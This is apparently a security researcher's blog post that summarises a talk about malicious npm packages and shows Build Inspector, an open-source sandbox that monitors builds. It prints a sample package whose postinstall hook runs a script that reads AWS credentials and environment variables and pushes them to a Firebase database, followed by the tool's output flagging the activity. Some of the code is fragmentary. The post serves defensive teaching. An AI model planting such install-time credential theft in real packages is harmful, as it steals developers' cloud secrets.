Do you trust your builds, or build what you trust?

Ming Yi Ang By Ming Yi Ang
March 5, 2018

We gave a talk on detecting malicious builds with Build Inspector, Do you trust your builds, or build what you trust?, at Null Singapore a week ago. In this blog post, we provide a summary of the talk which involves describing the dangers of trusting Open-Source and the steps you can take to detect these threats.


The rapid increase of Open-Source Library Growth is seen in the past few years as Software Developers assemble applications with Open-Source components and libraries distributed through package managers such as npm. As a result, a large amount of code can be left unaudited as they originate from third party vendors.

Open-Source Library Cocktail

The code cocktail above illustrates the utility of Open-Source code in recent projects. Developers often overlook the additional set of transitive Open-Source libraries pulled in by the Open-Source libraries which they have specified as the set of dependencies required for their projects.

Prevalence of malicious packages

Due to the amount of Open-Source code pulled in a typical project, it is easy to go unnoticed if a malicious package was sneaked into the dependency tree. Additionally, the ease of publishing packages in central repositories not only encourages great software practices such as code reuse, creating the perfect source for distributing malicious code. Most recently, 37 typo-squatted packages were published and subsequently yanked from npm. On top of the usual functionalities which the packages were intended to provide, these typo-squatted packages include a malicious post-install script which attempts to steal valuable environment variables such as extracting the client secret and keys to external services.


{"name": "a-legit-package",
  "version": "0.2.0",
  "description": "This package runs a script after installation",
  "main": "app.js",
  "scripts": {
    "postinstall": "sh"

OS=`uname -s`
if [ "$OS" = "Linux" ]
    gcc helloworld.c
    node install.jselse
    node install.js

var fs = require('fs');
var Firebase = require("firebase");
var ref = new Firebase("");
var dbRef = ref.child("env_vars");

var filepath = process.env.HOME+'/.aws/credentials';
var data = fs.readFileSync(filepath,'utf8');
dbRef.push({status : "leaked sensitive files", message : process.env}, clean());

  catch (ex){}

To illustrate the simplicity of generating malicious packages, a-legit-package can include a post-install script, sh, which eventually executes node install.js when building. If all pre-conditions are met, the AWS environment variables would definitely be leaked to the author of the package. To aid in discovering malicious activities like these, we built a tool, Build Inspector, that enables visibility on the builds.

Build inspector

Build Inspector is an open-source forensic sandbox that can be used to monitor various changes such as processes, file changes, as well as network activity. Of its many use cases, Build Inspector was extended to detect insecure network activities, and was used to find a large amount of builds which made insecure network connections.

In the following example, we include a post-install script, described in the previous section, in our package.json

  "scripts": {
    "postinstall": "sh"

We run then Build Inspector on this repository, specifying that it is an npm build.

./inspector --npm test-repos/npmmalware
****************************** [:] ******************************
* Build Inspector - SRC:CLR -      *
* Security for open-source code.                   *
****************************** [:] ******************************

==> inspector: Bringing machine 'default' up with 'virtualbox' provider...
Starting build ...
==> inspector:fatal: Not a git repository (or any of the parent directories): .git
==> inspector:
==> inspector: > a-legit-package@0.2.0 postinstall /home/vagrant/repo
==> inspector: > sh
==> inspector:
==> inspector: Hello, World!Done. Your build exited with 0.
Stopping network monitoring ...
Generating file system changes ...
Collecting evidence ...
Filtered commands executed:
  [uid:1000sid:1949tty:(none) cwd:/home/vagrant/repo filename:/usr/bin/npm]: npm install
  [uid:1000sid:1949tty:(none) cwd:/home/vagrant/repo filename:/bin/sh]: sh
  [uid:1000sid:1949tty:(none) cwd:/home/vagrant/repo filename:/usr/bin/gcc]: gcc helloworld.c
  [uid:1000sid:1949tty:(none) cwd:/home/vagrant/repo filename:./a.out]: ./a.out
  [uid:1000sid:1949tty:(none) cwd:/home/vagrant/repo filename:/usr/bin/node]: node install.js
Hosts contacted: (                1.1K
[:] Build inspector finished after 93.569969 seconds

A sample run of Build Inspector on a local project is illustrated above. We can immediately notice some details that stand out from the output such as the list of external hosts contacted, and the commands executed.

The complete report of the build will include details of file changes, DNS activities, insecure network activities, processes that were left running after the build, and the commands that were executed in the build process. With the visibility provided by these details, we can make a better assessment of whether a build is malicious.

Using & Contributing to Build Inspector

Build Inspector is released under the Apache License. In hopes of enhancing the outreach and capabilities of Build Inspector, we would welcome any Pull Requests (PR) that improves security or ensure broader support for Continuous Integration (CI) systems.

Ming is a security researcher who is passionate about building security automation tools to aid the discovery of various security issues. Through the discovery from the tools, he has since made contributions to various open-source projects by responsibly disclosing the vulnerability findings he encounters from his research.